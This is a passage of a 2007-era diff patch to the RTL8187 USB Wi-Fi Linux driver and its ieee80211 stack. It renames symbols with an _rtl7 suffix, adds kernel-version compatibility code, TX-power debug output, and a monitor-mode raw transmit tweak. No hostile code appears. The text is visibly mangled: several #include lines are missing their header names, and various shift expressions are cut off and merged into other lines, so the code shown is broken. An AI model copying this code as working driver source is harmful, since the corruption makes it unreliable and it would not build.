S_IRUGO | S_IXUGO, rtl8180_proc); @@ -539,7 +549,7 @@ short check_nic_enought_desc(struct net_device *dev, priority_t priority) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int used = atomic_read((priority == NORM_PRIORITY) ? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -549,7 +559,7 @@ void tx_timeout(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //rtl8180_commit(dev); schedule_work(&priv->reset_wq); //DMESG("TXTIMEOUT"); @@ -561,7 +571,20 @@ { int i; for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); + DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i)); +} + +/* this is only for debug */ +void dump_tx_power(struct net_device *dev) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i; + DMESG("CCK TX-Power (b-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr[i]); + DMESG("OFDM TX-Power (g-mode):"); + for(i=1; i<=14; i++) + DMESG("Channel %d: %d", i, priv->chtxpwr_ofdm[i]); } /* this is only for debug */ @@ -575,9 +598,9 @@ for(n=0;n<=max;) { - printk( "\nD: %2x> ", n); + printk( "\nD: %02X> ", n); for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); + printk("%02X ",read_nic_byte(dev,n)); } printk("\n"); } @@ -589,7 +612,7 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); //priv->irq_enabled = 1; /* write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ @@ -603,7 +626,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -625,7 +648,7 @@ void rtl8180_update_msr(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u8 msr; msr = read_nic_byte(dev, MSR); @@ -653,7 +676,7 @@ void rtl8180_set_chan(struct net_device *dev,short ch) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 tx; priv->chan=ch; #if 0 @@ -670,20 +693,20 @@ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<rx_urb) DMESGE("Cannot intiate RX urb mechanism"); @@ -721,7 +744,7 @@ void rtl8187_set_rxconf(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u32 rxconf; rxconf=read_nic_dword(dev,RX_CONF); @@ -810,7 +833,7 @@ u8 cmd; u8 byte; u32 txconf; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); byte = read_nic_byte(dev,CW_CONF); byte &= ~(1<dma_poll_mask &=~(1<dma_poll_mask); @@ -900,7 +923,7 @@ void rtl8180_ _disable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask |= (1<dma_poll_mask); @@ -914,7 +937,7 @@ { u8 cmd; int i; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); cmd=read_nic_byte(dev,CMD); write_nic_byte(dev, CMD, cmd &~ \ @@ -939,7 +962,7 @@ #if 0 int i; u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, sizeof(u32)*8*count, @@ -1051,7 +1074,7 @@ void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); @@ -1062,7 +1085,7 @@ #if 0 void rtl8180_tx_queues_stop(struct net_device *dev) { - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); @@ -1091,7 +1114,7 @@ { // FIXME !! #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); priv->dma_poll_mask &= ~(1<dma_poll_mask); @@ -1105,14 +1128,17 @@ */ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + { + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR || priv->ieee80211->raw_tx != 1) + morefrag = 1; + } // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1126,7 +1152,7 @@ //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); } rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, @@ -1135,7 +1161,7 @@ priv->stats.txdatapkt++; if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); + ieee80211_stop_queue_rtl7(priv->ieee80211); spin_unlock_irqrestore(&priv->tx_lock,flags); @@ -1148,7 +1174,7 @@ */ int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); int ret; unsigned long flags; @@ -1228,7 +1254,7 @@ void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txlpokint++; else @@ -1259,7 +1285,7 @@ void rtl8187_net_update(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct ieee80211_network *net; net = & priv->ieee80211->current_network; @@ -1283,13 +1309,13 @@ void rtl8187_beacon_tx(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sk_buff *skb; int i = 0; rtl8187_net_update(dev); - skb = ieee80211_get_beacon(priv->ieee80211); + skb = ieee80211_get_beacon_rtl7(priv->ieee80211); if(!skb){ @@ -1327,7 +1353,7 @@ void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) { struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if(tx_urb->status == 0) priv->stats.txnpokint++; else @@ -1353,7 +1379,7 @@ int status; struct urb *tx_urb; int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); // int rate = ieeerate2rtlrate(priv->ieee80211->rate); pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); @@ -1445,7 +1471,7 @@ short rtl8187_usb_initendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); @@ -1483,7 +1509,7 @@ void rtl8187_usb_deleteendpoints(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; if(priv->rx_urb){ @@ -1506,9 +1532,9 @@ u16 word; int basic_rate,min_rr_rate,max_rr_rate; -// struct r8180_priv *priv = ieee80211_priv(dev); +// struct r8180_priv *priv = ieee80211_priv_rtl7(dev); - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + //if (ieee80211_is_54g_rtl7(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); @@ -1540,7 +1566,7 @@ { // int i; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //write_nic_word(dev, BintrItv, net->beacon_interval); rtl8187_net_update(dev); /*update timing params*/ @@ -1554,13 +1580,13 @@ short rtl8180_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i, j; u16 word; - int ch; + int ch, chans; //u16 version; - //u8 hw_version; - //u8 config3; + u8 hw_version; + u8 config3; //FIXME: these constants are placed in a bad pleace. @@ -1580,6 +1606,13 @@ return -1; } ch=channels; + chans=0; + for (i=1; i<=14; i++) { + if( (u8)(ch & 0x01) ) chans++; + ch >>= 1; + } + DMESG("Enabling %d channels.", chans); + ch=channels; // set channels 1..14 allowed in given locale for (i=1; i<=14; i++) { (priv->ieee80211->channel_map)[i] = (u8)(ch & 0x01); @@ -1588,6 +1621,8 @@ //memcpy(priv->stats,0,sizeof(struct Stats)); //priv->irq_enabled=0; + + priv->dev = dev; // priv->stats.rxdmafail=0; priv->stats.txrdu=0; @@ -1622,7 +1657,11 @@ priv->ieee80211->mode = IEEE_G; priv->promisc = (dev->flags & IFF_PROMISC) ? 1:0; spin_lock_init(&priv->tx_lock); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&priv->reset_wq,(void(*)(void*)) rtl8180_restart,dev); +#else + INIT_WORK(&priv->reset_wq, rtl8180_restart); +#endif sema_init(&priv->wx_sem,1); tasklet_init(&priv->irq_rx_tasklet, (void(*)(unsigned long))rtl8180_irq_rx_tasklet, @@ -1716,6 +1755,12 @@ priv->enable_gpio0 = 0; + hw_version =( read_nic_dword(dev, TCR) & TCR_HWVERID_MASK)>>TCR_HWVERID_SHIFT; + config3 = read_nic_byte(dev, CONFIG3); + + DMESG("MAC chip version: %02X", hw_version); + DMESG("Card type: %02X", config3); + /* commented out just because we already do this when resetting the card andrea 20050924 @@ -1807,6 +1852,12 @@ priv->rf_chip = 0xff & eprom_read(dev,EPROM_RFCHIPID); + +#ifdef DEBUG_TX_POWER + dump_tx_power(dev); +#endif + + DMESG("RF Chip ID: %02X", priv->rf_chip); word = eprom_read(dev,EPROM_TXPW_BASE); priv->cck_txpwr_base = word & 0xf; @@ -1988,7 +2039,7 @@ void rtl8180_adapter_start(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); //u32 anaparam; //u8 config3; @@ -2077,7 +2128,7 @@ void rtl8180_start_tx_beacon(struct net_device *dev) { int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); u16 word; DMESG("Enabling beacon TX"); //write_nic_byte(dev, 0x42,0xe6);// TCR @@ -2135,7 +2186,7 @@ ***************************************************************************/ static struct net_device_stats *rtl8180_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->ieee80211->stats; } @@ -2143,36 +2194,32 @@ int _rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); priv->up=1; - //DMESG("Bringing up iface"); +// DMESG("Bringing up iface"); rtl8180_adapter_start(dev); - rtl8180_rx_enable(dev); - rtl8180_tx_enable(dev); - - ieee80211_softmac_start_protocol(priv->ieee80211); - - ieee80211_reset_queue(priv->ieee80211); + ieee80211_softmac_start_protocol_rtl7(priv->ieee80211); + ieee80211_reset_queue_rtl7(priv->ieee80211); if(!netif_queue_stopped(dev)) netif_start_queue(dev); else netif_wake_queue(dev); - return 0; } int rtl8180_open(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); + ret = rtl8180_up(dev); up(&priv->wx_sem); return ret; @@ -2182,7 +2229,7 @@ int rtl8180_up(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 1) return -1; @@ -2192,7 +2239,7 @@ int rtl8180_close(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; down(&priv->wx_sem); @@ -2207,7 +2254,7 @@ int rtl8180_down(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return -1; @@ -2220,7 +2267,7 @@ rtl8180_rtx_disable(dev); rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); return 0; } @@ -2228,23 +2275,28 @@ void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - ieee80211_softmac_stop_protocol(priv->ieee80211); + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); up(&priv->wx_sem); @@ -2252,7 +2304,7 @@ static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); @@ -2273,7 +2325,7 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; down(&priv->wx_sem); @@ -2291,8 +2343,9 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); struct iwreq *wrq = (struct iwreq *)rq; @@ -2300,7 +2353,7 @@ int ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2346,7 +2399,8 @@ if( flen <= rx_urb->actual_length){ - stats.signal = (desc[1] & 0x7f00)>>8; +// stats.signal = (desc[1] & 0x7f00)>>8; + stats.signal = (desc[1] & 0xff00)>>8; stats.noise = desc[1] &0xff; stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; @@ -2368,7 +2422,9 @@ // priv->rxskb = skb; // priv->tempstats = &stats; - if(!ieee80211_rx(priv->ieee80211, + + stats.signal -= stats.noise; + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2398,14 +2454,14 @@ //printk("===> rtl8187_usb_probe()\n"); - dev = alloc_ieee80211(sizeof(struct r8180_priv)); + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); SET_MODULE_OWNER(dev); usb_set_intfdata(intf, dev); SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); priv->udev=udev; @@ -2418,7 +2474,12 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; if (dev_alloc_name(dev, ifname) < 0){ @@ -2447,7 +2508,7 @@ fail: - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver load failed\n"); @@ -2464,7 +2525,7 @@ unregister_netdev(dev); - priv=ieee80211_priv(dev); + priv=ieee80211_priv_rtl7(dev); rtl8180_proc_remove_one(dev); @@ -2478,12 +2539,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2556,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2569,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); spin_unlock_irqrestore(&priv->tx_lock,flags); if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2584,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_orig/beta-8187/r8187.h rtl8187_txpower/beta-8187/r8187.h --- rtl8187_orig/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_txpower/beta-8187/r8187.h 2007-02-26 03:05:07.891426549 +0100 @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -148,7 +151,7 @@ u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; + short prism_hdr; // struct timer_list scan_timer; /*short scanpending; diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.c rtl8187_txpower/ieee80211/ieee80211_crypt.c --- rtl8187_orig/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.c 2007-02-26 03:05:15.811546022 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +41,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +64,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +81,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +106,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +131,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +162,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +189,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +208,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +220,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +230,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +250,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_ccmp.c 2007-02-26 03:05:15.821546173 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,20 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + #include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -59,7 +67,7 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -75,7 +83,7 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -105,7 +113,7 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) @@ -114,7 +122,7 @@ } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +130,7 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +194,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +245,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +253,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +270,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +334,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + 